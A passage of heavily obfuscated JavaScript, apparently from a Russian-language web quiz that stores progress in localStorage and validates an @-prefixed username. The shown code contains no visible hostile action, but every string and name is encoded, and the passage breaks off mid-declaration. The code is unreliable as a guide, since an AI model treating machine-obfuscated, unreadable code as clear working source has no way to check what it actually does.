sX_Ix[DosX_eI(6624,1900,\"x4H&\",4959,8013)+DosX_eI(7460,12405,\"wZHi\",8718,6358)]=3,{}),DosX_e0=(DosX_IG[DosX_em(\"KEHY\",7977,5704,8489,9127)]=DosX_em(\"$!Aq\",8497,8598,7001,6818)+DosX_em(\"n2r*\",6986,5782,3258,530)+DosX_en(6737,3819,\"oxl#\",5920,3465)+DosX_em(\"XO53\",7215,4451,5767,9501)+\"ть\",DosX_IG[DosX_em(\"m6]b\",5868,5607,6491,8250)]=DosX_Ix,{}),DosX_e1=(DosX_e0[DosX_em(\"v$9*\",-1605,4749,1353,-549)+\"l\"]=3,DosX_e0[DosX_em(\"6Gdc\",2320,2939,2294,3979)]=3,DosX_e0[DosX_eI(5347,-1512,\"v$9*\",1735,262)+\"nt\"]=4,DosX_e0[DosX_em(\"euG2\",4990,-1323,1609,1026)]=5,DosX_e0[DosX_eI(6816,10597,\"xy(x\",8691,11310)]=4,DosX_e0[DosX_ee(4170,1574,-602,-2180,\"0jPz\")+DosX_en(8184,5045,\"*4ZH\",5850,5292)]=4,{}),DosX_e2=(DosX_e1[DosX_en(-1157,2211,\"i8^y\",-1095,5448)]=DosX_eI(5040,6228,\"hP1P\",5720,8851)+DosX_eI(8255,4684,\"8L5y\",6738,6123)+DosX_em(\"euG2\",7611,5955,7795,5171)+DosX_eI(9369,3395,\"91cp\",5872,8105)+DosX_eI(962,4318,\"i8^y\",4097,716),DosX_e1[DosX_ee(5013,2261,-551,1445,\"yAXs\")]=DosX_e0,{}),DosX_e3=(DosX_e2[DosX_en(6215,5604,\"mQoF\",3499,4636)+\"l\"]=2,DosX_e2[DosX_en(8884,5383,\"v$9*\",4707,7602)]=2,DosX_e2[DosX_ee(5635,4743,5203,7877,\"i8^y\")+\"nt\"]=3,DosX_e2[DosX_em(\"*4ZH\",785,4043,1754,-1853)]=5,DosX_e2[DosX_eI(4748,6879,\"yAXs\",6591,4771)]=2,DosX_e2[DosX_eD(6726,7911,\"J9b^\",7099,4452)+DosX_eD(4345,-954,\"p#OH\",2258,1754)]=3,{}),DosX_e4=(DosX_e3[DosX_eD(-2192,-616,\"m6]b\",1291,3317)]=DosX_ee(1383,1755,457,3409,\"yAXs\")+DosX_en(365,1779,\"*$d[\",3198,-346)+DosX_eI(2622,6069,\"4RK]\",5286,8680)+\"ь\",DosX_e3[DosX_eI(8560,6556,\"mlQ7\",6826,4356)]=DosX_e2,{}),DosX_e5=(DosX_e4[DosX_eD(4606,4116,\"91cp\",3693,4540)+\"l\"]=3,DosX_e4[DosX_eI(5593,9244,\"QAYB\",6928,6979)]=4,DosX_e4[DosX_em(\"x4H&\",2325,-419,1640,1747)+\"nt\"]=3,DosX_e4[DosX_em(\"O*79\",5251,8737,8888,9754)]=2,DosX_e4[DosX_eI(1204,4197,\"XO53\",3568,1031)]=4,DosX_e4[DosX_eI(2646,2921,\"xy(x\",4476,5732)+DosX_em(\"v$9*\",5096,11825,8785,8219)]=3,{}),DosX_e6=(DosX_e5[DosX_eD(4160,10147,\"GrE)\",7151,9582)]=DosX_ee(6148,7527,6003,7735,\"O*79\")+DosX_eI(5336,4421,\"iW3p\",4562,5282)+DosX_eI(5505,2176,\"gv1I\",1832,2145)+\"ть\",DosX_e5[DosX_ee(7555,4727,2629,5691,\"FCGK\")]=DosX_e4,{}),DosX_e7=(DosX_e6[DosX_ee(3606,782,3667,-2515,\"p#OH\")+\"l\"]=5,DosX_e6[DosX_ee(5324,5140,2379,2344,\"oxl#\")]=4,DosX_e6[DosX_eI(5515,8557,\"xy(x\",8157,11830)+\"nt\"]=5,DosX_e6[DosX_ee(3023,1151,-270,950,\")Lf8\")]=4,DosX_e6[DosX_eD(6004,8536,\"0jPz\",6670,10358)]=4,DosX_e6[DosX_ee(6859,5275,7410,2974,\"GrE)\")+DosX_ee(2630,905,-344,3013,\"m6]b\")]=3,{}),DosX_e8=(DosX_e7[DosX_ee(11053,7617,7984,8384,\"mlQ7\")]=DosX_eD(5909,3256,\"mQoF\",2262,109)+DosX_eD(-81,2094,\"Z[nw\",717,2150)+DosX_eD(2188,6172,\"piSq\",5888,6047)+DosX_ee(4664,2090,-100,5488,\"f$Am\"),DosX_e7[DosX_en(3447,2919,\"mQoF\",-519,496)]=DosX_e6,{}),DosX_e9=(DosX_e8[DosX_ee(6663,3121,3863,2980,\"hP1P\")]=DosX_ee(-1546,244,-671,-2961,\"euG2\")+DosX_en(1606,823,\"*$d[\",1135,-2005)+DosX_em(\"8L5y\",10727,6266,8605,10187)+DosX_eD(2069,62,\"Qsdo\",1998,5051)+\"и?\",DosX_e8[DosX_en(-3342,220,\"91cp\",-1807,1624)]=[DosX_IG,DosX_e1,DosX_e3,DosX_e5,DosX_e7],{});DosX_e9[DosX_eI(1714,2954,\"x4H&\",2041,2501)+\"l\"]=0,DosX_e9[DosX_ee(6195,7305,10704,3688,\"@z9)\")]=0,DosX_e9[DosX_en(6577,3913,\"f$Am\",1956,2865)+\"nt\"]=0,DosX_e9[DosX_en(-1947,737,\"m6]b\",3268,-2129)]=0,DosX_e9[DosX_en(6118,7004,\"*4ZH\",6039,3380)]=0,DosX_e9[DosX_ee(3853,4336,6824,3106,\"wZHi\")+DosX_eD(4635,3840,\"mlQ7\",5514,5911)]=0;let g=[DosX_oc,DosX_q1,DosX_qq,DosX_qD,DosX_qa,DosX_qE,DosX_qY,DosX_W5,DosX_Wp,DosX_WC,DosX_WQ,DosX_WM,DosX_Wx,DosX_f9,DosX_fu,DosX_fR,DosX_fH,DosX_fs,DosX_K2,DosX_KW,DosX_Kn,DosX_KO,DosX_Kl,DosX_KJ,DosX_p6,DosX_pj,DosX_pU,DosX_pk,DosX_pt,DosX_pG,DosX_jB,DosX_jI,DosX_jV,DosX_jd,DosX_jT,DosX_y3,DosX_yf,DosX_ym,DosX_yr,DosX_yF,DosX_yA,DosX_i7,DosX_iy,DosX_iX,DosX_ih,DosX_iZ,DosX_u0,DosX_uo,DosX_ue,DosX_uv,DosX_ug,DosX_uL,DosX_I4,DosX_IK,DosX_IP,DosX_Ib,DosX_IS,DosX_Iw,DosX_e8],i=0,p=DosX_e9,v=\"\",y=null,x=[],h=[],a=null;function e(){var DosX_Pi_U=695,DosX_Pi_N=1539,DosX_Pi_R=673,DosX_Pi_V=\"J9b^\",DosX_Pi_O=9683,DosX_Pi_z=6630,DosX_Pi_H=4718,DosX_Pi_F=1862,DosX_Pi_Z=510,DosX_Pi_L=\"7Or@\",DosX_Pi_J=1182,DosX_Pi_G=263,DosX_Pi_B2=1597,DosX_Pi_B3=\"4RK]\",DosX_Pi_B4=4847,DosX_Pi_B6=7977,DosX_Pi_B7=7594,DosX_Pi_B8=\"wZHi\",DosX_Pi_B9=5942,DosX_Pi_Bo=8665,DosX_Pi_Bq=3604,DosX_Pi_BW=\"0jPz\",DosX_Pi_Bf=2238,DosX_Pi_Bp=2005,DosX_Pi_Bj=3916,DosX_Pi_By=\"n2r*\",DosX_Pi_Bi=7173,DosX_Pi_Bu=\"FVzc\",DosX_Pi_BD=3411,DosX_Pi_Bn=4053,DosX_Pi_Bm=2177,DosX_Pi_BP=\"O*79\",DosX_Pi_BU=6606,DosX_Pi_BX=2717,DosX_Pi_BR=621,DosX_Pi_BV=3514,DosX_Pi_Bv=\"mlQ7\",DosX_Pi_Ba=6131,DosX_Pi_Bb=3520,DosX_Pi_BQ=2950,DosX_Pi_Bh=416,DosX_Pi_Bz=1342,DosX_Pi_BH=\"p#OH\",DosX_Pi_Bd=7167,DosX_Pi_Bg=7908,DosX_Pi_BE=\"Z[nw\",DosX_Pi_BF=4431,DosX_Pi_BS=2466,DosX_Pi_Bt=334,DosX_Pi_BZ=264,DosX_Pi_Bc=\"m6]b\",DosX_Pi_Bs=3901,DosX_Pi_BL=4585,DosX_Pi_BY=3565,DosX_Pi_BJ=\"*$d[\",DosX_Pi_BA=5826,DosX_Pi_Bx=3994,DosX_Pi_BG=3628,DosX_Pi_o0=5443,DosX_Pi_o2=4558,DosX_Pi_o3=7449,DosX_Pi_o4=\"gdDi\",DosX_Pi_o5=8936,DosX_Pi_o8=6632,DosX_Pi_o9=\"O*79\",DosX_Pi_oB=4975,DosX_Pi_oq=5466,DosX_Pi_oW=1917,DosX_Pi_of=\"J9b^\",DosX_Pi_oK=2381,DosX_Pi_oj=5848,DosX_Pi_oy=28,DosX_Pi_oi=\"qQCK\",DosX_Pi_ou=2904,DosX_Pi_oe=20,DosX_Pi_oD=1259,DosX_Pi_on=\"xy(x\",DosX_Pi_om=6247,DosX_Pi_oU=3593,DosX_Pi_oX=\"*4ZH\",DosX_Pi_oN=9817,DosX_Pi_oR=\"XO53\",DosX_Pi_oa=6234,DosX_Pi_oO=6365,DosX_Pi_oQ=7191,DosX_Pi_ok=\")Lf8\",DosX_Pi_oh=6038,DosX_Pi_oH=4579,DosX_Pi_od=4866,DosX_Pi_og=\"GrE)\",DosX_Pi_oE=3681,DosX_Pi_oS=7085,DosX_Pi_oM=6967,DosX_Pi_ot=5530,DosX_Pi_oZ=\"hP1P\",DosX_Pi_os=5670,DosX_Pi_oT=7164,DosX_Pi_oY=3706,DosX_Pi_oJ=4831,DosX_Pi_oA=\"J9b^\",DosX_Pi_ow=4900,DosX_Pi_oG=2573,DosX_Pi_q0=5822,DosX_Pi_q1=683,DosX_Pi_q2=\"#eLW\",DosX_Pi_q5=1664,DosX_Pi_q6=2004,DosX_Pi_q8=1794,DosX_Pi_q9=211,DosX_Pi_qB=\"iW3p\",DosX_Pi_qo=4092,DosX_Pi_qq=3242,DosX_Pi_qW=\"*4ZH\",DosX_Pi_qK=4201,DosX_Pi_qp=11119,DosX_Pi_qy=7305,DosX_Pi_qi=10542,DosX_Pi_qu=4827,DosX_Pi_qD=8032,DosX_Pi_qn=\"yAXs\",DosX_Pi_qm=8136,DosX_Pi_qU=5021,DosX_Pi_qX=\"QYGq\",DosX_Pi_qN=1201,DosX_Pi_qV=404,DosX_Pi_qv=2416,DosX_Pi_qa=2801,DosX_Pi_qr=425,DosX_Pi_qb=3213,DosX_Pi_qQ=\"MB5V\",DosX_Pi_qk=3757,DosX_Pi_qz=4647,DosX_Pi_qH=4779,DosX_Pi_qd=\"MB5V\",DosX_Pi_qg=3366,DosX_Pi_qE=\"J9b^\",DosX_Pi_qS=5634,DosX_Pi_qM=2420,DosX_Pi_qt=892,DosX_Pi_qZ=\"piSq\",DosX_Pi_qs=805,DosX_Pi_qT=2278,DosX_Pi_qL=949,DosX_Pi_qY=\"$!Aq\",DosX_Pi_qA=446,DosX_Pi_qw=3703,DosX_Pi_qG=1621,DosX_Pi_W0=1126,DosX_Pi_W1=\"euG2\",DosX_Pi_W2=8066,DosX_Pi_W5=5280,DosX_Pi_W6=980,DosX_Pi_W9=1389,DosX_Pi_WB=\"MB5V\",DosX_Py_B=89,DosX_Py_W=136,DosX_Py_K=362,DosX_Py_j=273,DosX_Pp_B=344,DosX_Pp_W=1309,DosX_Pp_K=130,DosX_Pp_j=477,DosX_PK_B=188,DosX_PK_W=294,DosX_PK_K=1095,DosX_PK_j=209,DosX_Pf_B=22,DosX_Pf_W=136,DosX_Pf_K=645,DosX_Pf_j=58,DosX_PW_B=247,DosX_PW_W=257,DosX_PW_K=376,DosX_PW_j=329;function eU(B,W,K,j,D){return DosX_ee(B-DosX_PW_B,K- -DosX_PW_W,K-DosX_PW_K,j-DosX_PW_j,D)}function eX(B,W,K,j,D){return DosX_eD(B-DosX_Pf_B,W-DosX_Pf_W,K,B-DosX_Pf_K,D-DosX_Pf_j)}function eN(B,W,K,j,D){return DosX_eD(B-DosX_PK_B,W-DosX_PK_W,W,D-DosX_PK_K,D-DosX_PK_j)}function eC(B,W,K,j,D){return DosX_en(B-DosX_Pp_B,j-DosX_Pp_W,D,j-DosX_Pp_K,D-DosX_Pp_j)}DosX_Pi_U={iZqXc:function(j,D){return j(D)},TUOMV:eP(7501,0,7477,6329,\"i8^y\"),JWLov:eP(DosX_Pi_U,0,DosX_Pi_N,DosX_Pi_R,DosX_Pi_V)+eU(DosX_Pi_O,0,DosX_Pi_z,DosX_Pi_H,DosX_Pi_V),qLiIV:eX(DosX_Pi_F,-DosX_Pi_Z,DosX_Pi_L,0,-DosX_Pi_J),pfurt:eC(-DosX_Pi_G,0,0,DosX_Pi_B2,DosX_Pi_B3),hdhHn:eP(DosX_Pi_B4,0,DosX_Pi_B6,DosX_Pi_B7,DosX_Pi_B8)};function eP(B,W,K,j,D){return DosX_ee(B-DosX_Py_B,B-DosX_Py_W,K-DosX_Py_K,j-DosX_Py_j,D)}DosX_Pi_N=localStorage[eP(DosX_Pi_B9,0,DosX_Pi_Bo,DosX_Pi_Bq,DosX_Pi_BW)](eP(DosX_Pi_Bf,0,DosX_Pi_Bp,DosX_Pi_Bj,DosX_Pi_By)+eN(DosX_Pi_Bi,DosX_Pi_Bu,0,0,DosX_Pi_BD)+eX(DosX_Pi_Bn,DosX_Pi_Bm,DosX_Pi_BP,0,DosX_Pi_BU));DosX_Pi_N&&(y=JSON[eU(-DosX_Pi_BX,0,DosX_Pi_BR,DosX_Pi_BV,DosX_Pi_Bv)](DosX_Pi_N),v=y[eN(DosX_Pi_Ba,DosX_Pi_L,0,0,DosX_Pi_Bb)],p=y[eU(DosX_Pi_BQ,0,DosX_Pi_Bh,-DosX_Pi_Bz,DosX_Pi_BH)],DosX_Pi_U[eX(DosX_Pi_Bd,DosX_Pi_Bg,DosX_Pi_BE,0,DosX_Pi_BF)](k,eP(DosX_Pi_BS,0,-DosX_Pi_Bt,DosX_Pi_BZ,DosX_Pi_Bc)+eP(DosX_Pi_Bs,0,DosX_Pi_BL,DosX_Pi_BY,DosX_Pi_BJ)),d(y),DosX_Pi_N=document[eP(DosX_Pi_BA,0,DosX_Pi_Bx,DosX_Pi_BG,DosX_Pi_BE)+eP(DosX_Pi_o0,0,DosX_Pi_o2,DosX_Pi_o3,DosX_Pi_o4)](eC(DosX_Pi_o5,0,0,DosX_Pi_o8,DosX_Pi_o9)+eU(DosX_Pi_oB,0,DosX_Pi_oq,DosX_Pi_oW,DosX_Pi_of)),(DosX_Pi_R=document[eP(DosX_Pi_oK,0,DosX_Pi_oj,-DosX_Pi_oy,DosX_Pi_oi)+eU(-DosX_Pi_ou,0,DosX_Pi_oe,-DosX_Pi_oD,DosX_Pi_on)](DosX_Pi_U[eC(DosX_Pi_om,0,0,DosX_Pi_oU,DosX_Pi_oX)]))[eN(DosX_Pi_oN,DosX_Pi_oR,0,0,DosX_Pi_oa)]=DosX_Pi_U[eC(DosX_Pi_oO,0,0,DosX_Pi_oQ,DosX_Pi_ok)],DosX_Pi_R[eP(DosX_Pi_oh,0,DosX_Pi_oH,DosX_Pi_od,DosX_Pi_og)]=eC(DosX_Pi_oE,0,0,DosX_Pi_oS,DosX_Pi_oi)+eX(DosX_Pi_oM,DosX_Pi_ot,DosX_Pi_oZ,0,DosX_Pi_os)+eP(DosX_Pi_oT,0,DosX_Pi_oY,DosX_Pi_oJ,DosX_Pi_oA)+eP(DosX_Pi_ow,0,DosX_Pi_oG,DosX_Pi_q0,DosX_Pi_oR)+eN(DosX_Pi_q1,DosX_Pi_q2,0,0,DosX_Pi_q5)+new Date(y[eP(DosX_Pi_q6,0,DosX_Pi_q8,-DosX_Pi_q9,DosX_Pi_qB)])[eX(DosX_Pi_qo,DosX_Pi_qq,DosX_Pi_qW,0,DosX_Pi_qK)+eU(DosX_Pi_qp,0,DosX_Pi_qy,DosX_Pi_qi,DosX_Pi_Bu)](DosX_Pi_U[eC(DosX_Pi_qu,0,0,DosX_Pi_qD,DosX_Pi_qn)],{year:DosX_Pi_U[eC(DosX_Pi_qm,0,0,DosX_Pi_qU,DosX_Pi_qX)],month:eU(DosX_Pi_qN,0,DosX_Pi_qV,-DosX_Pi_qv,DosX_Pi_BH),day:DosX_Pi_U[eU(-DosX_Pi_qa,0,DosX_Pi_qr,DosX_Pi_qb,DosX_Pi_qQ)],hour:eU(DosX_Pi_qk,0,DosX_Pi_qz,DosX_Pi_qH,DosX_Pi_qd),minute:DosX_Pi_U[eN(DosX_Pi_qg,DosX_Pi_qE,0,0,DosX_Pi_qS)]})+(eX(DosX_Pi_qM,DosX_Pi_qt,DosX_Pi_qZ,0,-DosX_Pi_qs)+eX(DosX_Pi_qT,DosX_Pi_qL,DosX_Pi_qY,0,DosX_Pi_qA)),DosX_Pi_N[eP(DosX_Pi_qw,0,DosX_Pi_qG,DosX_Pi_W0,DosX_Pi_W1)+eN(DosX_Pi_W2,DosX_Pi_BH,0,0,DosX_Pi_W5)](DosX_Pi_R,DosX_Pi_N[eC(-DosX_Pi_W6,0,0,DosX_Pi_W9,DosX_Pi_WB)+\"d\"]))}function n(){var DosX_PP_U=3825,DosX_PP_X=3272,DosX_PP_N=3507,DosX_PP_R=\"GrE)\",DosX_PP_V=2790,DosX_PP_O=6186,DosX_PP_Q=4934,DosX_PP_z=5060,DosX_PP_H=\")Lf8\",DosX_PP_F=7364,DosX_PP_Z=1641,DosX_PP_L=\"TEJX\",DosX_PP_G=5059,DosX_PP_B0=\"*$d[\",DosX_PP_B3=2947,DosX_PP_B4=6376,DosX_PP_B5=1313,DosX_PP_B6=\"yAXs\",DosX_PP_B8=149,DosX_PP_B9=3160,DosX_PP_BB=1817,DosX_PP_Bo=7499,DosX_PP_Bq=3907,DosX_PP_BW=\"GEgV\",DosX_PP_Bf=2197,DosX_PP_BK=2870,DosX_PP_Bp=2285,DosX_PP_Bi=\"hP1P\",DosX_PP_Bu=4925,DosX_PP_BI=\"8L5y\",DosX_PP_BD=10327,DosX_PP_Bn=6707,DosX_PP_Bm=7303,DosX_PP_BP=5669,DosX_PP_BX=\"6Gdc\",DosX_PP_BN=6435,DosX_PP_BR=\"Z[nw\",DosX_PP_Bv=7512,DosX_PP_Ba=6552,DosX_PP_BO=2118,DosX_PP_Br=\"m6]b\",DosX_PP_Bk=4472,DosX_PP_Bh=2069,DosX_PP_Bz=\"euG2\",DosX_PP_Bg=3143,DosX_PP_BE=3088,DosX_PP_Bl=6134,DosX_PP_BF=6171,DosX_PP_BS=\"7Or@\",DosX_PP_BM=3104,DosX_PP_Bt=8610,DosX_PP_BZ=\"v$9*\",DosX_PP_Bs=6862,DosX_PP_BT=6129,DosX_PP_BL=\"Z[nw\",DosX_PP_BA=1698,DosX_PP_Bw=1359,DosX_PP_Bx=\"FVzc\",DosX_PP_o1=5177,DosX_PP_o2=2645,DosX_PP_o3=6780,DosX_PP_o4=\"piSq\",DosX_PP_o6=4929,DosX_PP_o7=7588,DosX_PP_o8=6824,DosX_PP_o9=7707,DosX_PP_oB=4196,DosX_PP_oo=\"0jPz\",DosX_PP_oq=5603,DosX_PP_oW=9683,DosX_PP_of=6853,DosX_PP_oj=\"n2r*\",DosX_PP_oy=6457,DosX_PP_oi=7858,DosX_PP_oe=\"7Or@\",DosX_PP_oD=2404,DosX_PP_on=\"yAXs\",DosX_PP_oC=5574,DosX_PP_oU=2841,DosX_PP_oR=2243,DosX_PP_oV=2246,DosX_PP_ov=4207,DosX_PP_or=\"w0LC\",DosX_PP_ob=1577,DosX_PP_oQ=1159,DosX_PP_oz=\"p#OH\",DosX_PP_oH=7507,DosX_PP_od=\"xy(x\",DosX_PP_oE=11078,DosX_PP_ol=8720,DosX_PP_oF=10502,DosX_PP_oS=\"FVzc\",DosX_PP_oZ=8609,DosX_PP_oc=637,DosX_PP_os=3269,DosX_PP_oT=2617,DosX_PP_oL=\"O*79\",DosX_PP_oY=5873,DosX_PP_oJ=5954,DosX_PP_ow=4408,DosX_PP_ox=7997,DosX_PP_oG=2230,DosX_PP_q0=\"mlQ7\",DosX_PP_q2=7749,DosX_PP_q3=6049,DosX_PP_q4=11037,DosX_PP_q5=\"*4ZH\",DosX_PP_q7=8811,DosX_PP_q8=7965,DosX_PP_q9=6116,DosX_PP_qB=4373,DosX_PP_qW=3051,DosX_PP_qf=1925,DosX_PP_qK=1415,DosX_PP_qp=\"TEJX\",DosX_PP_qj=5258,DosX_PP_qy=7619,DosX_PP_qi=\"$!Aq\",DosX_PP_qI=2735,DosX_PP_qe=5869,DosX_PP_qD=2921,DosX_PP_qn=\"mQoF\",DosX_PP_qP=10023,DosX_PP_qC=6536,DosX_PP_qU=919,DosX_PP_qX=\"@d!&\",DosX_PP_qR=3177,DosX_PP_qV=4387,DosX_PP_qv=10310,DosX_PP_qa=\"mlQ7\",DosX_PP_qb=8563,DosX_PP_qQ=\"J9b^\",DosX_PP_qz=3784,DosX_PP_qH=4302,DosX_PP_qd=1453,DosX_PP_qg=\"qQCK\",DosX_PP_qF=2338,DosX_PP_qS=1518,DosX_PP_qZ=3807,DosX_PP_qc=\"x4H&\",DosX_PP_qL=10080,DosX_PP_qY=8230,DosX_PP_qJ=8741,DosX_PP_qA=8002,DosX_PP_qw=4940,DosX_PP_qx=4513,DosX_PP_qG=119,DosX_PP_W0=\"mQoF\",DosX_PP_W2=4912,DosX_PP_W3=2175,DosX_PP_W4=4574,DosX_PP_W7=10615,DosX_PP_W8=\"O*79\",DosX_PP_Wo=7387,DosX_PP_Wq=4312,DosX_PP_WW=5142,DosX_PP_Wp=\"FCGK\",DosX_PP_Wj=\"6Gdc\",DosX_PP_Wu=2359,DosX_PP_WI=4433,DosX_PP_We=56,DosX_PP_WD=428,DosX_PP_Wn=3337,DosX_PP_Wm=4488,DosX_Pm_B=360,DosX_Pm_W=425,DosX_Pm_K=602,DosX_Pm_j=18,DosX_Pn_B=216,DosX_Pn_W=205,DosX_Pn_K=53,DosX_Pn_j=239,DosX_PD_B=451,DosX_PD_W=354,DosX_PD_K=253,DosX_PD_j=404,DosX_Pe_B=390,DosX_Pe_W=1219,DosX_Pe_K=87,DosX_Pe_j=44,DosX_Pu_B=243,DosX_Pu_W=1650,DosX_Pu_K=312,DosX_Pu_j=171;function eO(B,W,K,j,D){return DosX_en(B-DosX_Pu_B,D-DosX_Pu_W,W,j-DosX_Pu_K,D-DosX_Pu_j)}DosX_PP_U={nSapZ:eR(8584,3861,4999,\"iW3p\",8419)+eR(DosX_PP_U,DosX_PP_X,DosX_PP_N,DosX_PP_R,DosX_PP_V),hjUdd:function(j,D){return j(D)},zSmNy:eR(DosX_PP_O,DosX_PP_Q,DosX_PP_z,DosX_PP_H,DosX_PP_F)+ev(DosX_PP_Z,DosX_PP_L,0,0,DosX_PP_G)+\")\",rdkSJ:ea(DosX_PP_B0,0,0,DosX_PP_B3,DosX_PP_B4)+eO(DosX_PP_B5,DosX_PP_B6,0,DosX_PP_B8,DosX_PP_B9)+eR(DosX_PP_BB,DosX_PP_Bo,DosX_PP_Bq,DosX_PP_BW,DosX_PP_Bf)+eV(DosX_PP_BK,DosX_PP_Bp,0,0,DosX_PP_Bi)+eO(DosX_PP_Bu,DosX_PP_BI,0,DosX_PP_BD,DosX_PP_Bn)};function ea(B,W,K,j,D){return DosX_en(B-DosX_Pe_B,D-DosX_Pe_W,B,j-DosX_Pe_K,D-DosX_Pe_j)}function ev(B,W,K,j,D){return DosX_eI(B-DosX_PD_B,W-DosX_PD_W,W,D-DosX_PD_K,D-DosX_PD_j)}DosX_PP_X=document[eV(DosX_PP_Bm,DosX_PP_BP,0,0,DosX_PP_BX)+eO(DosX_PP_BN,DosX_PP_BR,0,DosX_PP_Bv,DosX_PP_Ba)](DosX_PP_U[ev(DosX_PP_BO,DosX_PP_Br,0,0,DosX_PP_Bk)]);function eR(B,W,K,j,D){return DosX_eI(B-DosX_Pn_B,W-DosX_Pn_W,j,K-DosX_Pn_K,D-DosX_Pn_j)}function eV(B,W,K,j,D){return DosX_eI(B-DosX_Pm_B,W-DosX_Pm_W,D,W- -DosX_Pm_K,D-DosX_Pm_j)}(v=DosX_PP_X[ev(DosX_PP_Bh,DosX_PP_Bz,0,0,DosX_PP_Bg)][eR(DosX_PP_BE,DosX_PP_Bl,DosX_PP_BF,DosX_PP_BS,DosX_PP_BM)]())?(DosX_PP_N=(v=v[eO(DosX_PP_Bt,DosX_PP_BZ,0,DosX_PP_Bs,DosX_PP_BT)+\"h\"](\"@\")?v:\"@\"+v)[ea(DosX_PP_BL,0,0,-DosX_PP_BA,DosX_PP_Bw)](/^@/,\"\"),/^[a-zA-Z0-9_]{5,32}$/[ea(DosX_PP_Bx,0,0,DosX_PP_o1,DosX_PP_o2)](DosX_PP_N)?(DosX_PP_X[eO(DosX_PP_o3,DosX_PP_o4,0,DosX_PP_o6,DosX_PP_o7)][eR(DosX_PP_o8,DosX_PP_o9,DosX_PP_oB,DosX_PP_oo,DosX_PP_oq)+\"or\"]=\"\",h=[],a=null,k(eV(DosX_PP_oW,DosX_PP_of,0,0,DosX_PP_oj)+\"en\"),s()):(DosX_PP_U[eV(DosX_PP_oy,DosX_PP_oi,0,0,DosX_PP_oe)](alert,ev(DosX_PP_oD,DosX_PP_on,0,0,DosX_PP_oC)+ev(DosX_PP_oU,DosX_PP_o4,0,0,DosX_PP_oR)+eV(DosX_PP_oV,DosX_PP_ov,0,0,DosX_PP_or)+eV(-DosX_PP_ob,DosX_PP_oQ,0,0,DosX_PP_oz)+eO(DosX_PP_oH,DosX_PP_od,0,DosX_PP_oE,DosX_PP_ol)+ev(DosX_PP_oF,DosX_PP_oS,0,0,DosX_PP_oZ)+eR(-DosX_PP_oc,DosX_PP_os,DosX_PP_oT,DosX_PP_oL,DosX_PP_oY)+eO(DosX_PP_oJ,DosX_PP_L,0,DosX_PP_ow,DosX_PP_ox)+eO(DosX_PP_oG,DosX_PP_q0,0,DosX_PP_q2,DosX_PP_q3)+eO(DosX_PP_q4,DosX_PP_q5,0,DosX_PP_q7,DosX_PP_q8)+eV(DosX_PP_q9,DosX_PP_qB,0,0,DosX_PP_oz)+eR(DosX_PP_qW,DosX_PP_qf,DosX_PP_qK,DosX_PP_qp,DosX_PP_qj)+eO(DosX_PP_qy,DosX_PP_qi,0,DosX_PP_qI,DosX_PP_qe)+eO(DosX_PP_qD,DosX_PP_qn,0,DosX_PP_qP,DosX_PP_qC)+eO(DosX_PP_qU,DosX_PP_qX,0,DosX_PP_qR,DosX_PP_qV)+ev(DosX_PP_qv,DosX_PP_qa,0,0,DosX_PP_qb)+ea(DosX_PP_qQ,0,0,DosX_PP_qz,DosX_PP_qH)),DosX_PP_X[ev(DosX_PP_qd,DosX_PP_qg,0,0,DosX_PP_qF)][ev(DosX_PP_qS,DosX_PP_oz,0,0,DosX_PP_qZ)+\"or\"]=DosX_PP_U[ea(DosX_PP_qc,0,0,DosX_PP_qL,DosX_PP_qY)],DosX_PP_X[eR(DosX_PP_qJ,DosX_PP_qA,DosX_PP_qw,DosX_PP_R,DosX_PP_qx)]())):(alert(DosX_PP_U[eO(DosX_PP_qG,DosX_PP_W0,0,DosX_PP_W2,DosX_PP_W3)]),DosX_PP_X[ev(DosX_PP_W4,DosX_PP_H,0,0,DosX_PP_qB)][ev(DosX_PP_W7,DosX_PP_W8,0,0,DosX_PP_Wo)+\"or\"]=eV(DosX_PP_Wq,DosX_PP_WW,0,0,DosX_PP_Wp)+ea(DosX_PP_Wj,0,0,DosX_PP_Wu,DosX_PP_WI)+\")\",DosX_PP_X[eR(-DosX_PP_We,DosX_PP_WD,DosX_PP_Wn,DosX_PP_qX,DosX_PP_Wm)]())}function s(){var DosX_PQ_D=\"6Gdc\",DosX_PQ_U=4547,DosX_PQ_X=7316,DosX_PQ_R=6201,DosX_PQ_V=\"w0LC\",DosX_PQ_O=2711,DosX_PQ_Q=4965,DosX_PQ_H=5314,DosX_PQ_F=\"9P*O\",DosX_PQ_Z=420,DosX_PQ_Y=\"O*79\",DosX_PQ_J=6160,DosX_PQ_G=2362,DosX_PQ_B0=1567,DosX_PQ_B2=1696,DosX_PQ_B3=5399,DosX_PQ_B4=\"gdDi\",DosX_PQ_B5=2672,DosX_PQ_B7=5533,DosX_PQ_B8=5884,DosX_PQ_B9=\"#eLW\",DosX_PQ_BB=4508,DosX_PQ_Bq=3852,DosX_PQ_BW=1219,DosX_PQ_Bf=3556,DosX_PQ_Bp=6036,DosX_PQ_Bj=4036,DosX_PQ_By=\"$!Aq\",DosX_PQ_Bi=3223,DosX_PQ_Bu=7097,DosX_PQ_Be=5844,DosX_PQ_BD=\"91cp\",DosX_PQ_Bn=1271,DosX_PQ_BP=3887,DosX_PQ_BC=559,DosX_PQ_BU=\"iW3p\",DosX_PQ_BX=2643,DosX_PQ_BN=4496,DosX_PQ_BV=\"yAXs\",DosX_PQ_Bv=732,DosX_PQ_Ba=1045,DosX_PQ_BO=3853,DosX_PQ_Bb=3234,DosX_PQ_BQ=\"euG2\",DosX_PQ_Bh=6191,DosX_PQ_Bz=4130,DosX_PQ_BH=\"mlQ7\",DosX_PQ_Bd=2547,DosX_PQ_Bg=5657,DosX_PQ_Bl=5723,DosX_PQ_BF=\"4RK]\",DosX_PQ_BM=353,DosX_PQ_Bt=1203,DosX_PQ_BZ=\")Lf8\",DosX_PQ_Bc=2770,DosX_PQ_Bs=7057,DosX_PQ_BL=\"QAYB\",DosX_PQ_BY=5015,DosX_PQ_BJ=6046,DosX_PQ_Bw=6059,DosX_PQ_Bx=5917,DosX_PQ_BG=8419,DosX_PQ_o0=5304,DosX_PQ_o1=7447,DosX_PQ_o3=3686,DosX_PQ_o4=416,DosX_PQ_o6=1879,DosX_PQ_o7=3166,DosX_PQ_o8=\"mlQ7\",DosX_PQ_o9=492,DosX_PQ_oo=\"7Or@\",DosX_PQ_oq=3709,DosX_PQ_oW=3266,DosX_PQ_of=6057,DosX_PQ_oK=5839,DosX_PQ_oj=\"i8^y\",DosX_PQ_oy=6583,DosX_PQ_oi=9883,DosX_PQ_ou=7104,DosX_PQ_oe=\"QYGq\",DosX_PQ_oD=6219